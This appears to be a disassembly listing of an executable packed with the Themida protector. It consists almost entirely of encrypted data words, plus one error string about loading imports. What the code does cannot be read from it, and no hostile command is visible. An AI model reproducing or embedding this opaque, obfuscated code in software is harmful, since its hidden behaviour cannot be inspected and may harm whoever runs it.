0FB637726h, 0DBEBCE25h, 825D43C1h, 0E4AAECCEh, 9028EEECh dd 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h dd 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h dd 0D4B0D903h, 0AEA40E44h, 9592327Bh, 0FD09234Bh, 6801FE04h dd 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh dd 57E98B4Bh, 0A09A8757h, 0FB0E0320h, 0DBEBCE25h, 825D43C1h dd 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0CCC0D5F2h, 96A40E7Fh dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 0E424CE25h, 0DCF143C1h dd 5EDBB132h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh dd 4F38C882h, 462C1F59h, 0A047DF07h, 0C6D552E3h, 0B85E0003h dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 57E9B4A0h, 0F0B0D9FBh dd 0AEA40E7Bh, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h dd 5EDB6232h, 0CB2F168Ch, 1361A54Dh, 142B9675h, 152ABD54h dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h, 4BF7358Dh dd 54EE8106h, 89155A33h, 452A018Dh, 85C7F906h, 64503D5h dd 6400h, 999D8B60h, 33064531h, 4518419Dh, 85C76106h, 645095Dh dd 0 dd 2C85B5FFh, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0E3DA6FC3h, 0FFC28B5Ch, 452A1195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 6B49077Fh, 858B526Ah, 6450AA9h, 0FF006A58h dd 45312195h, 0EBC08B06h, 0A10E23Dh, 9DEADF9Eh, 0ED667270h dd 3A869433h, 0BAB94B42h, 5062CCF9h, 0BE308A15h, 0FA1219D1h dd 0C5D667FCh, 0C448B614h, 1931CC96h, 2CFFFCB2h, 12847D6Ah dd 0D92D9677h, 0F19DC549h, 10E85632h, 73000000h, 8F1D3AC3h dd 2BFD7110h, 5708F0F1h, 818D10FBh, 0F3BDF8E3h, 81665A7Fh dd 810001DEh, 59C9C2h, 0B9F500h, 0F000000h, 68Fh, 8D9D8B00h dd 8B064502h, 0D98B0A3Ch, 2C73F781h, 0F3817437h, 440DC652h dd 6AD8EF81h, 0EF8154D3h, 33605190h, 1453E881h, 8B573B71h dd 451809B5h, 0A048F06h, 15C08166h, 51BE5766h, 5E1AED90h dd 0F02E983h, 48Eh, 13B86600h, 0E949495Ch, 0Ch, 115DCDD4h dd 0A4F320EBh, 713A5FCCh, 0A6D8F981h, 850FFFFFh, 0FFFFFF9Bh dd 8D296050h, 645309Dh, 5E616160h, 0B9E9h, 52F9E600h, 0F28B7FCAh dd 9E2F9F6Ah, 39CC3B0Eh, 0A36856A3h, 15FF8739h, 0AF7AE2A7h dd 0CD1C803Dh, 6ABF2DDCh, 3950CC77h, 8910DFF1h, 27B01801h dd 3ED1C061h, 0AD98DC68h, 0A30FF3C1h, 0CC549B6h, 0CBD9CE9Dh dd 7A37A0B7h, 4779BDFDh, 11B5DA98h, 0B957DB28h, 0B5DCCD87h dd 0E4D58411h, 0F48FD125h, 0CD11F833h, 123A6DCEh, 1E6D881h dd 3377F48Dh, 0EFA28C02h, 0C6127C3Ch, 8, 16845508h, 158BFD71h dd 663CD3C0h, 3D611C8Fh, 8ED47364h, 6238C537h, 32681D8Bh dd 82D86D5Bh, 5509BC2Bh, 277B0CFCh, 0FDA15A4Eh, 0F8266876h dd 2E9064Bh, 0A6FFF985h, 10C2FB99h, 0CEB8822Ah, 3064BF8h dd 3404EBC5h, 0E96E06BBh, 0DC4h, 4BFB0C68h, 84DFE906h dd 4168FFF9h, 0E9064BFCh, 0FFF984D5h, 4BFD1A68h, 84CBE906h dd 0BE68FFF9h, 0E9064BFDh, 0FFF984C1h, 4C015168h, 84B7E906h dd 6268FFF9h, 0E9064C04h, 0FFF984ADh, 4C053F68h, 84A3E906h dd 0AF7FFF9h, 9C10D943h, 40B079E3h, 0DDCC1D8Fh, 7967B22Ah dd 0EEF648D4h, 8913B826h, 2BB14E40h, 0CE5EEDDEh, 6FFD887Bh dd 21CEE02Ah, 0A118018Ah, 715F0E50h, 0E37786DCh, 3DD2C0C1h dd 6485D07Dh, 98A47A7Bh, 0F2E3BA12h, 229BC953h, 0AB28DDCBh dd 321DCDE3h, 3C700FF1h, 0FB34D59Ah, 0D7CC6F17h, 0CDC73382h dd 3E991D66h, 0F4EFF1B5h, 0AA17FACDh, 0A5F9A7BEh, 0FACB5C03h dd 1B9FE417h, 0BFDE495Dh, 4612DEh, 55A00000h, 5F1C3411h dd 12A222DCh, 0B627353Ah, 0F2788D11h, 0FAB40580h, 0F1302AC4h dd 4E82940Fh, 0FB2E8768h, 82AA3B17h, 17FB2EDDh, 0CF931065h dd 3AC93AE3h, 30B9AAB4h, 71EF17FBh, 45B82E6Ch, 7E3DEC0h dd 0D1000000h, 93C3Fh, 0CDC00100h, 22956C32h, 5F93D767h dd 0B5917679h, 93B9CA11h, 11B591CCh, 0F56BEF74h, 0EFAF1EBFh dd 7F1482ABh, 0A162522Bh, 7BFF7CFDh, 0F0A21D55h, 0A1129B0Fh dd 9FC165E2h, 17FAC4C4h, 5BF5509Ah, 82D991FFh, 2025A72Bh dd 0C0986C7Ah, 3837DEh, 55850000h, 33771084h, 0CFCE8C02h dd 4DF83C7Eh, 82246DFFh, 11B674DDh, 61B71065h, 0A9B73B80h dd 0FF18E7Dh, 0E2ECB2C3h, 17FB88F1h, 0F6A4B9A7h, 0DEC09DF0h dd 0C0ABh, 0CDC01900h, 27956C32h, 72653C62h, 0C73A93D7h dd 95AEA03Ch, 5B11B59Eh, 0CC9DDD68h, 0C78275DAh, 8115247Ah dd 64C73A0Fh, 6D8CD275h, 5D78BAE0h, 96E08F21h, 158B11B5h dd 11B5964Ah, 0BDC66DF6h, 8E587E30h, 300FF095h, 0B6398187h dd 0FB204F10h, 0C162F317h, 8704F36Ah, 0FF4E4F25h, 41FAEEBFh dd 2A961C1Dh, 428253F4h, 0D466EF16h, 6AF29705h, 0BA9C319Fh dd 712D62D0h, 0F77B5DADh, 0CC00000Ah, 65B428DFh, 8554C871h dd 21E87415h, 0BC8D1FB2h, 0A123B94Eh, 0F88D7B19h, 66239564h dd 3C23306h, 0A25D5099h, 0F9DF5F3Ah, 18018CF6h, 0C01B3D4Ah dd 5AAF3DD2h, 0B792DC67h, 32266868h, 8A048ADDh, 8B625B54h dd 5C23419h, 0F53D061h, 650AACEEh, 0DD11B591h, 6D430B88h dd 0FF09E39h, 0A6287E87h, 17FA98ADh, 3A6065E3h, 0DEBFADACh dd 10CF7h, 1155C500h, 0B591B0BFh, 4FC31011h, 0CEC02396h dd 4AD77A69h, 0C298E514h, 86C87D6Bh, 26E7D7h, 0D9257DF1h dd 913C2385h, 278411B5h, 0A05115B8h, 0B281AF23h, 7811B59Eh dd 0E9B0FA85h, 0BC1549F8h, 0BC32BF48h, 94E4D722h, 96717E50h dd 84D111B5h, 0B596C7A8h, 6DEA7B11h, 2837E92Dh, 0E611B596h dd 0E01155F6h, 0E2BA3045h, 57493590h, 11B59688h, 4500F338h dd 16931021h, 95746244h, 0B9CA0FF0h, 0DD484D23h, 3894A7D6h dd 5F1F9C39h, 42BDCF79h, 0DFCF9E16h, 9EC48776h, 894C129Fh dd 8037D7E1h, 489D1A9Dh, 9225A956h, 72600941h, 0BE6F4FDDh dd 4BEAB04Bh, 0EBA00EC7h, 2DE285CBh, 96C04871h, 9C2h, 0EF7D1481h dd 8F1DA61Ah, 23B94ABAh, 0B824E7D6h, 5ECE8371h, 0C230E4FCh dd 584A9F0Dh, 0F7E831ABh, 9205D448h, 0EA1475F7h, 18D2B34h dd 4E4A9718h, 29168455h, 78B08B9h, 8173E0CEh, 109D2A9Ch dd 0BE2EAB4Ah, 5FCD786Bh, 32CDC061h, 3F22956Ch, 6C32CBh dd 0B591C1AEh, 77F40111h, 6B3272EAh, 0BDA2047Ch, 511B591h dd 9CFF73F0h, 2EC7C671h, 0CE800DBEh, 914B148Ah, 6EF711B5h dd 7802A4E8h, 3E0FF089h, 0C434E5B5h, 0A907E8CEh, 2ABB17FAh dd 7E0229ADh, 71B5BA46h, 8221B411h, 11B624BDh, 0A849D4B0h dd 714D632Bh, 0CFBFFB58h, 3B92E086h, 0AFEEC08Ah, 0E4C64DB3h dd 6307C235h, 6AFB5CD2h, 0FB867920h, 4AF9EAB3h, 0CFF4AC4h dd 9A015171h, 0ACFC2138h, 8E92Ah, 26EDDA00h, 0C67F73C6h dd 62239366h, 0DC02FFAh, 0B75C4A9Fh, 90B9335h, 0A376F69Bh dd 0C1089431h, 5EAB31D0h, 4D4CD06Bh, 8F04EBCDh, 33BC1801h dd 48115515h, 0DE81AB54h, 6211B591h, 51449D11h, 174B00EEh dd 31D0C1E6h, 1B4FCC6Dh, 2E80FCD9h, 11B59141h, 297D10FFh dd 0DB58AD08h, 2CD7CA93h, 2AC4FAA6h, 7F0FF0B1h, 0D813AAEh dd 481159AAh, 0E534A857h, 4F1155F4h, 17FAB1A0h, 0FAA3BAA9h dd 93229B17h, 0DAA87DBh, 0E695C3B7h, 15C5EB6Fh, 0A316361Bh dd 42B50C52h, 0D64D9F87h, 58D0712Ah, 8457Eh, 0FA917E00h dd 9A239762h, 6C73702h, 0A16453A6h, 4B00EE3Bh, 0AD677FD1h dd 0C7128A3Fh, 65B428D5h, 8257D574h, 91E8740Fh, 8EA8B769h dd 0CF181801h, 0CBF855C9h, 890C0556h, 3FD2C1E6h, 6DDCF9BBh dd 0BEDF8B2Dh, 0C590FF1h, 1F9BE742h, 0CD6C33B5h, 44B81149h dd 19BFF3BBh, 17FC6A56h, 7B1599EAh, 0DD813AAEh, 0C08A339Fh dd 0FC6B39EEh, 49BB6217h, 6B905F71h, 0A33017FCh, 7DF10026h dd 3D3CADDAh, 31159792h, 3A8704BDh, 2A21D570h, 0A9D5C3DFh dd 20946D25h, 0B03DD03Fh, 0BAA313EAh, 55E4BA49h, 2A4892C8h dd 0EDB58013h, 0F16ED340h, 1F1E44FDh, 4D5FB3B6h, 87425BC9h dd 0D0F26A13h, 17FC6803h, 29977652h, 0B23F3E64h, 3289A4F8h dd 95249846h, 4F3C0288h, 0EB17FC75h, 756E7157h, 873917FCh dd 17FC75D8h, 2BB81B68h, 3A7E3EAEh, 751FC0E6h, 52A317FCh dd 0FC75757Ah, 1FB8CD17h, 0E17CBA72h, 469F13ADh, 4F02F152h dd 0C99D1A1Bh, 0FC65C487h, 596CE417h, 0B912A9Eh, 6D31CA3Eh dd 4EBCD01h, 5717FC66h, 0FC666E71h, 2281D217h db 0D1h byte_5ADE5D db 5Dh, 73h, 0B0h ; DATA XREF: Themida_:00555DADo dd 9817FC66h, 836C4286h, 3F17FC66h, 9BA220B6h, 49D36C60h dd 4416AF1Bh, 0FC687062h, 0E9BDC617h, 1BD353E7h, 81D0BA4h dd 22DE5452h, 1B90F53h, 5BBD0000h, 259BD362h, 0FF0AE95h dd 0D198D223h, 0E5B923DEh, 6105C234h, 10835AD0h, 0CB082575h dd 25CAEC3Dh, 9D17FB44h, 0ABEEEF48h, 48164EC4h, 953802F9h dd 7036CFC3h, 0C79B2699h, 9BCF7C6Eh, 9DA0369Ah, 3D40963Ah dd 0E8740F82h, 5D4BAE21h, 9785618Ch, 7CF95D23h, 0D48A1726h dd 9932AE6h, 0B0BF1155h, 109F41B3h, 0C89E279Bh, 0CCE2AC29h dd 9F41B323h, 9C0569Fh, 0DAB3F79Ah, 79C05CE7h, 0CF903686h dd 719F41B3h, 93A1936Bh, 0BDC66D84h, 0C2066A30h, 428203ECh dd 0A036BF9Fh, 0CB1E939Eh, 0B5C82E2Fh, 0B2FC877Ah, 0A215F8EBh dd 54459AE7h, 5AAF21B5h, 0B486DC67h, 0C495A51Ch, 0F2BE34D3h dd 0CD3813DCh, 0C626AF11h, 9AC08573h, 81C97058h, 0CD383C2Fh dd 0F577FC11h, 5016B124h, 20460BF9h, 0A756F3A7h, 266BA543h dd 4A53F145h, 0FB611C8Fh, 0EBCDBB2Eh, 11CCE404h, 0F4AA37BCh dd 5FF2E188h, 883199DBh, 0E507E0C6h, 2ABB11CCh, 0B82BF2B2h dd 7071A40Dh, 1E242467h, 0B34E4198h, 0F3404EFBh, 0D61CC3E5h dd 5FA411CCh, 7C4DA4F6h, 0D6C79EF6h, 43B66737h, 0CC8C5375h dd 0AF3411CCh, 1DF4AC22h, 0EE471BAEh, 0D1A40FBh, 74EF728Bh dd 0A08D7B22h, 8016932Ch, 0CDC0FB02h, 6C5FAA32h, 63AF8DD1h dd 353E90DAh, 6E11CCCCh, 1CB54AC3h, 248DA437h, 2E52717Eh dd 27B00612h, 7364BDFAh, 0E8BE1488h, 732DA4AFh, 2FBD3A87h dd 0CA950B4Fh, 7611CD57h, 3FB069EDh, 0DB58E7D8h, 0A41DB587h dd 34D1C3EAh, 74BCF6Eh, 0CD57CEA1h, 2DC57211h, 8062E36Dh dd 0D29BD350h, 0FF7E24DFh, 0C0FFE57Bh, 0C4AA32CDh, 983E70C1h dd 0FF0B3EAh, 28348AA7h, 0E52B0F98h, 0FDBDC691h, 900CBB2Ch dd 2F15849h, 5E9CC24Fh, 488CCE7Fh, 0EFCD9234h, 0E07517FAh dd 0FAA446Ah, 0CF141636h, 78EFDE8Fh, 64A64B6Ah, 5BDF5CE7h dd 0A0865D03h, 0F6D71E3Fh, 56F33747h, 811395Bh, 0A54DAD0h dd 1C7AF760h, 947B6C3Dh, 441A6720h, 4D9621B5h, 0B24D4019h dd 6FB21E90h, 7D5BAF77h, 4B2h, 0FF6D2491h, 9F0DB62Ah, 33A95A4Ah dd 0C854F7E6h, 6EFE9301h, 0D2C0D4ECh, 685AAF3Dh, 7F841DBh dd 0A215E478h, 9A0485E7h, 1923B24h, 5E7A8718h, 0B0BF1155h dd 6E11B591h, 1D66CD7Eh, 53E2DB99h, 91D9A51Bh, 1E670FF0h dd 371A8D5Ch, 37BB38C5h, 9361715Fh, 2F3917FAh, 0A4624416h dd 973DDEBFh, 8F000000h, 0B5914C37h, 0A580CA11h, 0AE1D4D6Bh dd 3C35BA1Bh, 1FEC5BDFh, 0EE5B49ACh, 1A1B4FFCh, 268C109Dh dd 0A61852EBh, 11B5BEC1h, 0D7AEF401h, 43F87DE4h, 4F33B536h dd 527488C2h, 11B63A8Dh, 0B42AA035h, 206AD3FEh, 0B63AE98Eh dd 560C5911h, 0EB710CFFh, 52F1E28Bh, 9B6965F1h, 9D1112C3h dd 34BF2DFh, 0B601D6ADh, 4D116211h, 0E48B2D61h, 5C11B601h dd 22AF5E4Fh, 43D182ACh, 7FF911B6h, 7E6F3E66h, 149A9BCFh dd 98D26BA6h, 0B6414D26h, 498ED11h, 0F8CAh, 625B3400h dd 35259BD3h, 680FF0BFh, 0EEB44D41h, 0E76CCB4Fh, 40AE7F43h dd 2EDC38Bh, 0BE17FAB4h, 7668A135h, 0B71D53C9h, 0F25C92Ah dd 75F20EF8h, 2D88325h, 136017FBh, 453014Fh, 239717FBh dd 7D6DC49Ah, 34396CCh, 2888D545h, 95A8CE62h, 0CAD34D02h dd 22E3D39Ah, 2FCEAACh, 96A7DEC0h, 6B000000h, 0EDB15242h dd 0C3AC024Ch, 7F17FAE7h, 5B4260F6h, 249AD46Dh, 11B5913Bh dd 0BC4DBD6Ch, 0E09D0FE6h, 3B48EF63h, 8B38AA73h, 0C6634F07h dd 0C60D7C4Fh, 73AA2094h, 0C8970981h, 7811B67Bh, 7D2C6EEBh dd 0E47AF089h, 5274008Eh, 11B67B8Dh, 6B23A035h, 0B67BEEB5h dd 65394A11h, 0B6BD687Bh, 9ADE4011h, 0B6BB3B24h, 0A54A6C11h dd 1D11B6BBh, 92186DC8h, 63A9EDF0h, 0BBAEB117h, 0C11211B6h dd 72630A44h, 0BD135FD3h, 11B6BBF6h, 0CC793142h, 0DB8F41D9h dd 39D110Ch, 32CDC0DDh, 6722956Ch, 6F8A105h, 687F579h dd 0B1C1E7B7h, 70FF0A1h, 9544A8FEh, 0F33F6326h, 0FAC112DDh dd 0D825AE17h, 0C3570C52h, 130D17FAh, 0D456500Ah, 3201DEBFh dd 0B3000000h, 9BD3625Bh, 0F09DF125h, 0D5CB4F0Fh, 17FA950Ah dd 0C78275B6h, 0D2FDD97Ah, 0BCEC66F3h, 6E656B3Fh, 2417FAF4h dd 6D792124h, 36DEC009h, 0F8h, 32CDC084h, 6227956Ch, 6F55F03Ch dd 52956DD1h, 0CFC21B9Fh, 40B37A34h, 0DA50E185h, 4693BE82h dd 0F9BFB835h, 0B4EA9F0Dh, 5BB23885h, 702EF968h, 0E99FE7E4h dd 3B5ACA74h, 53881572h, 7BFAA065h, 576C6EFEh, 9D11B626h dd 3C0D9F2Ah, 0A683EC9h, 0DD665AB3h, 0FB331E50h, 0F75FADE3h dd 66219449h, 0F1BD31C0h, 0F11243DFh, 0C738F50Fh, 4321BB38h dd 0EAB3FB4Ah, 18194DF6h, 0B8882E92h, 0A1642C6h, 0E0CD9234h dd 0E0751E42h, 91022B63h, 0F8C37AAh, 9505DA5Bh, 6B327EF4h dd 0BCA3057Dh, 41E42E0h, 1FEA72FFh, 0B55244B1h, 0A6AA0E28h dd 0D753712Dh, 1A181h, 9E35A200h, 3EC73B0Eh, 0DA6B5BAEh dd 4508F742h, 0EFA412E7h, 0D1C3DB7Dh, 6BBE2EE3h, 8950CC79h dd 26F36918h, 0F59408B3h, 954C13B5h, 6BF41801h, 3DD2C0ADh dd 84675AAFh, 0E2F7314h, 0B120C981h, 0D806981Eh, 9BD3625Bh dd 0F09DF125h, 60064F0Fh, 0AC5D4D1Ch, 4B148AF6h, 0F717FA95h dd 436DE16Eh, 17FA9790h, 17435AC6h, 0DEBFAC8Fh, 0ABC8h dd 8455FA00h, 5718BE14h, 0EB11B591h, 0A8491D9Ah, 4EC48173h dd 0C5992497h, 95C97E6Ch, 0B59DF8CBh, 30CB3E11h, 876A5DACh dd 58317518h, 0DB58A56Ah, 0A110B587h, 0A95B37E9h, 0F2360FF0h dd 0FAC113DCh, 0D026AF17h, 6EFE07h, 447A3485h, 1642600Bh dd 0BD6C2EB7h, 5FF4E24Fh, 843FB20Bh, 0D722BA07h, 0BC0224E9h dd 51712D3Ah, 0C4FFD9h, 12FF0000h, 0A418E17Bh, 48B8811Bh dd 0E5D42587h, 816FBA22h, 0E6FE50CCh, 910BC02Eh, 33A95648h dd 0D656F5E6h, 77F59003h, 2936E812h, 99180196h, 84554848h dd 26FF7314h, 408913B8h, 342AB24Dh, 6C32CDC0h, 5672295h dd 9FDF6EAFh, 0F96A1239h, 2A9C4D0Fh, 35BE199Dh, 6A5C0D71h dd 0E26889DDh, 4D0DB82Bh, 8AC89709h, 0EB781801h, 0AD20E967h dd 0F024C12h, 0AAB04A4Eh, 3F63134h, 0A215E478h, 48EBF42Ah dd 0E57804Ch, 9504DD81h, 0D48A39AAh, 7F108025h, 0B93BACF2h dd 0CB7669A4h, 5E6DA83h, 8EAFF396h, 56DC5D01h, 0C37E71B8h dd 1C8A539Fh, 8C023377h, 0DAAh, 7056EA00h, 804C486Fh, 3E0C82D3h dd 0D3C0716Fh, 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h dd 6D5B3268h, 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 5676FDA1h dd 0C6815E54h, 4, 8704EE83h, 575C2434h, 0C781E789h, 4 dd 4EF81h, 3C870000h, 14895C24h, 60806824h, 2C890000h dd 0B8BF5724h, 0BA0A5174h, 0FBFA847Fh, 789CEA81h, 0FA01107Ch dd 789CC281h, 815F107Ch, 4ECh, 24248900h, 4240481h, 5D000000h dd 89595251h, 0FF59084Dh, 815D2434h, 4C4h, 24148B00h, 81E78957h dd 4C7h, 4C78300h, 5C243C87h, 0F97730E9h, 16CE45FFh, 8DAE5E10h dd 0A25B1306h, 4C0628B8h, 0FFC50306h, 1AB64EE0h, 34741744h dd 72170948h, 19D66208h, 1BF4EB21h, 31819B5Eh, 8489A302h dd 43145607h, 0A7413A21h, 6A15B25Dh, 4ED0DF5Ah, 98E89E43h dd 36491A36h, 6061263Ch, 0DE877h, 0D8430000h, 5B0824C0h dd 54AF8D81h, 0B87F720Bh, 3F68EB9Eh, 0C18B665Ah, 5DF4C281h dd 0F570000h, 288h, 585F5200h, 174FBBh, 0FCCC8000h, 0CE8132FFh dd 48259A80h, 0F1B70F59h, 3AA2F181h, 0BF0F5474h, 0E7C181FFh dd 0F0E1C38h, 0B89h, 58B0F00h, 66000000h, 16F2EE81h, 931DC181h dd 0DE837EAh, 0E2000000h, 89C5FDD3h, 0FE304A12h, 13C71C48h dd 0D1C6B866h, 28F5158h, 6700C081h, 0EA8351F2h, 14E902h dd 0F72A0000h, 17B017EFh, 9464A48Bh, 95C06F41h, 0F67B0BCBh dd 4A4A45ECh, 5E585157h, 1EB81h, 850F0000h, 0FFFFFF80h dd 8800Fh, 8A0F0000h, 2, 8D8D5F50h, 64C0887h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 6DC35040h, 40349AC7h dd 0F58671Eh, 686h, 9B58B00h, 8906452Bh, 452A018Dh, 5E906h dd 7B120000h, 0C74C089Fh, 4503D585h, 5DAC06h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 85C7DD48h, 645095Dh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D0C35747h dd 1E4C7FB3h, 31B5FFDBh, 6A064506h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1E6FC355h dd 22EFAD4h, 95FFA4D0h, 6452A11h, 6AD1B70Fh, 2195FF00h dd 8B064531h, 0ED6CEBC0h, 20703B25h, 0CC3C0BCEh, 0FDE4F1F7h dd 88A2BC60h, 115E5DA8h, 84A68266h, 0CBECDC4Dh, 7DF52700h dd 25FBEA75h, 7871A5F9h, 4BC5078Bh, 0D774168Ah, 9BA46055h dd 33E8C68Ah, 40411F21h, 34133965h, 0E063341Bh, 76AFFF75h dd 3406D4DAh, 160B98ACh, 777FE40Bh, 2F7CC35Dh, 6810303Ch dd 0C956C01Ah, 44DF7865h, 563153DDh, 0E94737C8h, 127h dd 73765B50h, 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 838F96A6h dd 11345056h, 35B11C13h, 427711DBh, 722B6166h, 0A9F29E35h dd 88321177h, 56CF90EFh, 0BFBF1323h, 1775A00Ah, 0D069C699h dd 408FA8E5h, 56321323h, 0A9614571h, 88321177h, 56CF90EFh dd 0BFBF1323h, 1775A73Dh, 0D069C699h, 0F9B1D5EDh, 247E1C2Ah dd 1B61A66h, 5321566h, 0FE13AE3h, 0AFE2EA60h, 5AE14AE3h dd 4EE2EA60h, 12A3CE3h, 705A4360h, 0EEAEBDDEh, 0CD3BC0D3h dd 0F2B79860h, 0DD345D1Eh, 0FCB79CB6h, 5345067h, 83809E3h dd 0A7BF4560h, 177E1D9Bh, 3DA7EA36h, 83345078h, 671E0CE3h dd 11321560h, 0A1B7D366h, 134507Eh, 505B7C0Eh, 9487EAE8h dd 534506Fh, 10BEEE3h, 0ABE2EA60h, 542C84E3h, 0A1B7D360h dd 734507Eh, 45594B0Eh, 9487EAFAh, 534506Fh, 10BEEE3h dd 0ABE2EA60h, 5D3B21E3h, 0A1B7D360h, 1034507Eh, 405A3C0Eh dd 9487EA88h, 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3B2DE3h dd 0A1B7D360h, 134507Eh, 420AD70Eh, 9487EABCh, 534506Fh dd 10BEEE3h, 0ABE2EA60h, 5D3B29E3h, 0AD8F9660h, 44345066h dd 22779069h, 94F41566h, 8E770D4Fh, 3AB47D23h, 97CDEF46h dd 17771CE3h, 0B1C990EBh, 94CD1323h, 2B7290EFh, 94F4132Ah dd 8E770D4Fh, 94F17D2Ah, 97CDF540h, 17771CE3h, 0B1C990EBh dd 94CD1323h, 2B7690EFh, 51DB132Ah, 4E321566h, 12A3CE3h dd 2F5A4760h, 0EE8E5F82h, 0CD2F8CD3h, 0BFB79860h, 0DD34505Fh dd 51B79CB6h, 4E34596Fh, 12A3CE3h, 6A5A4760h, 0EE94592Ch dd 0CD2F8CD3h, 0BFB79860h, 0DD34505Fh, 55B79CB6h, 4E34596Fh dd 12A3CE3h, 0C85A4760h, 0EECF57D2h, 0CD3B90D3h, 0BFB79860h dd 0DD34505Fh, 0B79CB6h, 4E345055h, 12A3CE3h, 815A6260h dd 0EEC182CEh, 0CD19F0D3h, 0BFB79860h, 0DD34505Fh, 40B79CB6h dd 4E345077h, 12A3CE3h, 355A4760h, 0EEB8C857h, 0CD3B90D3h dd 0BFB79860h, 0DD34505Fh, 0D8B79CB6h, 4E345079h, 12A3CE3h dd 1B5A4360h, 0EEE60A0Bh, 0CD3BC0D3h, 0F2B79860h, 0DD345D1Eh dd 78B79CB6h, 4E345064h, 12A3CE3h, 585A5260h, 0EEB3C976h dd 0CD3B90D3h, 0BFB79860h, 0DD34505Fh, 54B79CB6h, 4E34506Eh dd 12A3CE3h, 0C05A5260h, 0EEB81AD3h, 0CD3B90D3h, 0BFB79860h dd 0DD34505Fh, 75B79CB6h, 0B34596Fh, 137F4DBh, 0A63D1560h dd 11321337h, 901B90A0h, 2C7E1323h, 0FBE8098Fh, 18B7A099h dd 0DBF1323h, 42772C9Dh, 0A7BBC599h, 177E1C36h, 901B90A0h dd 2C7E1323h, 0FF46CBA8h, 18B7A099h, 0DBF1323h, 42772C9Dh dd 0A7BBC599h, 177E1C32h, 901B90A0h, 2C7E1323h, 95B39759h dd 18B7A099h, 0DBF1323h, 42772C9Dh, 0A7BBC599h, 177E1C3Eh dd 901B90A0h, 2C7E1323h, 911D557Eh, 18B7A099h, 0DBF1323h dd 42772C9Dh, 0A7BBC599h, 177E1C3Eh, 901B90A0h, 2C741323h dd 98EC1372h, 18B7A099h, 0DBF1323h, 42772C9Dh, 0A7BBC599h dd 177E1C06h, 901B90A0h, 2C751323h, 0A3EE051Ch, 18B7A099h dd 0DBF1323h, 42772C9Dh, 0A7BBC599h, 177E1C0Eh, 901B90A0h dd 2C751323h, 0CDB59BCAh, 18B7A099h, 0DBF1323h, 42772C9Dh dd 0A7BBC599h, 177E1C0Ah, 901B90A0h, 2C751323h, 0F6A8B2B4h dd 18B7A099h, 0DBF1323h, 42772C9Dh, 0A7BBC599h, 177E1C16h dd 901B90A0h, 2C751323h, 98F32C62h, 18B7A099h, 0DBF1323h dd 42772C9Dh, 0A7BBC599h, 177E1C12h, 8A3BA8E5h, 31321323h dd 0BB7D346h, 5634507Eh, 0FA1F720Eh, 0C187EA86h, 0AF34506Fh dd 540BEEE3h, 1E2EA60h, 83B6DE3h, 0BB7D360h, 5634507Eh dd 0A181A40Eh, 0C187EAE8h, 0AF34506Fh, 540BEEE3h, 1E2EA60h dd 83B69E3h, 0BB7D360h, 5234507Eh, 0FE78B20Eh, 0C187EAA6h dd 0AF34506Fh, 540BEEE3h, 1E2EA60h, 83B95E3h, 0BB7D360h dd 5D34507Eh, 0EE5EFE0Eh, 0A187EA9Dh, 0AF34504Dh, 540BEEE3h dd 1E2EA60h, 83801E3h, 0BB7D360h, 5534507Eh, 0FBBC400Eh dd 0C187EADDh, 0AF34506Fh, 540BEEE3h, 1E2EA60h, 83B91E3h dd 0BB7D360h, 5234507Eh, 65CE90Eh, 0C187EADAh, 0AF34506Fh dd 540BEEE3h, 1E2EA60h, 83B9DE3h, 0BB7D360h, 4234507Eh dd 980CBF0Eh, 0C187EAA0h, 0AF34506Fh, 540BEEE3h, 1E2EA60h dd 83B99E3h, 9F8F9660h, 1134504Eh, 88D29169h, 0C1F41566h dd 24770D4Fh, 0DF037D20h, 3DCDEFF0h, 42771CE3h, 1BC990EBh dd 0C1CD1323h, 81DA90EFh, 0C1F4132Ah, 24770D4Fh, 2BE47D20h dd 3DCDE9C1h, 42771CE3h, 1BC990EBh, 0C1CD1323h, 81CA90EFh dd 0C1F4132Ah, 24770D4Fh, 0B5327D20h, 3DCD879Ah, 42771CE3h dd 1BC990EBh, 0C1CD1323h, 81CE90EFh, 0C1F4132Ah, 24770D4Fh dd 5E587D20h, 3DCDE3B2h, 42771CE3h, 1BC990EBh, 0C1CD1323h dd 823290EFh, 0C1F4132Ah, 24770D4Fh, 41D57D20h, 3DCD81ABh dd 42771CE3h, 1BC990EBh, 0C1CD1323h, 81DE90EFh, 0C1F4132Ah dd 24770D4Fh, 65097D20h, 3DCDA444h, 42771CE3h, 1BC990EBh dd 0C1CD1323h, 81C290EFh, 0C1F4132Ah, 24770D4Fh, 0FBDF7D20h dd 3DCDCA1Fh, 42771CE3h, 